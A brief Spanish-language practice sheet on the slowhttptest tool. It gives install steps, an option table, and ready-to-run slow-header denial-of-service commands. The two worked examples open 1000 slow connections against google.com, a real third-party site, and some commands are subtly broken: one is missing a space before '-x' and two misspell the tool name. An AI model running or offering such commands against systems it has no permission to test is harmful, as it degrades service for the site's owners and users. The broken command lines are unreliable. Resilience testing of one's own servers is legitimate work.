

SLOWHTTPTEST

21 – abril de 2017

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Requisitos para la practica

1 PC con Kali Linux

Instalación

1. Abrir la terminal
2. apt-get install slowhttptest

Pruebas

```
slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u https://google.com-x 24 -p 3
```

```
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u  
https://google.com -x 24 -p 3
```

Nota: Para observar los resultados de la segunda prueba simplemente se necesita abrir cualquiera de los archivos creados en el directorio (.CSV o .HTML)

| option | description |
|--------------------------|---|
| -a start | start value of ranges-specifier for range header test |
| -b bytes | limit of range-specifier for range header test |
| -c number of connections | limited to 65539 |

| option | description |
|---------------------------|--|
| -d proxy host:port | for directing all traffic through web proxy |
| -e proxy host:port | for directing only probe traffic through web proxy |
| -H, B, R or X | specify to slow down in headers section or in message body, -R enables range test, -X enables slow read test |
| -f content-type | value of Content-type header |
| -g | generate statistics in CSV and HTML formats, pattern is slow_xxx.csv/html, where xxx is the time and date |
| -i seconds | interval between follow up data in seconds, per connection |
| -k pipeline factor | number of times to repeat the request in the same connection for slow read test if server supports HTTP pipe-lining. |
| -l seconds | test duration in seconds |
| -m accept | value of Accept header |
| -n seconds | interval between read operations from receive buffer |
| -o file | custom output file path and/or name, effective if -g is specified |
| -p seconds | timeout to wait for HTTP response on probe connection, after which server is considered inaccessible |
| -r connections per second | connection rate |
| -s bytes | value of Content-Length header, if -B specified |

| option | description |
|----------|--|
| -t verb | custom verb to use |
| -u URL | target URL, the same format you type in browser, e.g http://host[:port]/ |
| -v level | verbosity level of log 0-4 |
| -w bytes | start of range the advertised window size would be picked from |
| -x bytes | max length of follow up data |
| -y bytes | end of range the advertised window size would be picked from |
| -z bytes | bytes to read from receive buffer with single read() operation |

```
slowhttpptest -c 1000 -H -i 10 -r 200 -t GET -u <target_url> -x 24 -p 3
```

```
slowhttpptest -c 1000 -H -g -o test -i 10 -r 200 -t GET -u <target_url> -x 24 -p 3
```